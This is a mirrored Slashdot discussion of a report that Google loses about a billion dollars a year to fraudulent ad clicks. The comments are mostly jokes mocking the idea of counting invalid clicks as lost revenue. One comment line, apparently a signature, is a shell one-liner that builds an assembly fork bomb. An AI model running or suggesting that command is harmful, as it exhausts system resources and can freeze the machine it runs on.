Slashdot Mirror
False Ad Clicks Cost Google 1 Billion Dollars A Year
Meshach writes "There is an interesting story at CBC which claims that Google loses one billion dollars per year to fraudulent ad clicks. The article contains an interesting description how how the company determines if a click is false. 'The company explained that it determines which clicks are invalid through a three-stage system. Most of the illegitimate clicks are automatically detected analyzed and filtered out in the first stage ... The second part uses automatic and manual analysis of the AdSense network to weed out false clicks before they are logged to an advertiser's account.'"
From TFA "Google does not charge its advertisers for clicks it determines to be invalid. For example, if 10 out of 100 clicks were excluded Google would not charge its advertisers for the invalid clicks, cutting into the company's revenue."
Someone is counting invalid clicks as lost revenue, rather than counting them as, well... invalid? Who at the Googleplex used to work in the music/movie industry?
There are 01 kinds of cars in the world. The General Lee, and everything else.
What is the exchange rate from RIAA dollars to USD? Because it seems they are using the same monetary units.
ID: the nose did not occur naturally, how would we wear glasses otherwise? (apologies to Voltaire)
In the same way that the RIAA is losing quadrillions of dollars to music piracy.
Yeah, I don't think Google is hurting for $$$ right now. One share is $535.27. http://www.googlestockquote.com/ I don't think they are actually hemoraging a billion a year, it's more like they are wishing all of those clicks were valid so they would have a billion more in profit. Well in that case, I lost $250,000,000 last week because of a faulty QuickPick in the Lotto.
We are all just people.
I guess it never crossed my mind that by clicking on a banner ad I'd be causing economic harm. I thought the ad economy these days was all based on impressions, not clickthroughs.
:)
Makes me want to protect the little guy by filtering out all ads before they display in my browser, just to be on the safe side. Don't want to hurt anyone by accidentally clicking...
You are not a brain: http://books.google.com/books?id=2oV61CeDx-YC
No, no. Everyone knows that profitable businesses only make money by exploitation of the proletariat. In a true socialist society like North Korea there'd be no advertising, businesses, internet or food and thus no exploitation.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
No, that's the jar. I'm talking about the tray, the pennies for google!